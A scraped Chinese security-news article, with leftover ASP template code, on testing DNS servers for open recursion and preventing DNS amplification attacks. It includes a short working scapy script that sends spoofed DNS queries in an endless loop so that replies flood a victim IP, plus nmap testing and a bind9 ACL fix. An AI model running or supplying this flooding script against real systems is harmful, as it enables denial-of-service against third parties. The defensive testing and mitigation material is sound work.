<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("DNS,递归漏洞,漏洞") PageTitle=stripHTML("测试DNS区域递归漏洞以及避免DNS放大攻击") ArticleIntro=stripHTML("尽管专家提醒过很多次,但仍然有非常多的DNS服务器允许递归解析到外网的设备,这一点可以被用来进行DNS放大攻击。") Articlecontent=stripHTML("       那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应答会使数据包被发送到受害者的IP地址,从而导…") ModuleName = stripHTML("exploits") InfoID = stripHTML("223144") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> 测试DNS区域递归漏洞以及避免DNS放大攻击 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> 其它漏洞 >> 正文

[组图]测试DNS区域递归漏洞以及避免DNS放大攻击

2016/1/8 作者:Mickeyyy… 来源: 360安全播报
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140139234.jpg


       那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应答会使数据包被发送到受害者的IP地址,从而导致分布式拒绝服务攻击(DDoS)。

       怎样测试你的DNS设备是否允许来自外部的递归解析呢?你可以使用这个叫dns-recursion 的nmap脚本


http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140139227.png

       如果它没有被启用,你只会得到一个开放端口的指示:

 http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140139697.png

 

       这个攻击是怎么运作的?我们来看下面的示意图:

http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140140369.jpg

 

       攻击的POC可以很容易地用如下的scapy脚本被执行,由攻击者决定是否执行它:

1
2
3
4
5
6
#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
        send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)


       我把这个脚本命名为dnscapy.py。当它执行时:

 

http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140140548.png

 

       在受害者那边得到如下数据包:

http://www.77169.com/exploits/UploadFiles_7195/201601/20160108140140481.png

 

       怎样避免这种攻击呢?如果你正在使用bind9,那么把下面这些加入到全局选项。假设你的企业网络是10.1.1.0/24 和10.1.2.0/24:

1
2
3
4
5
acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
  allow-query { any; };
  allow-recursion { recursiononly; };
};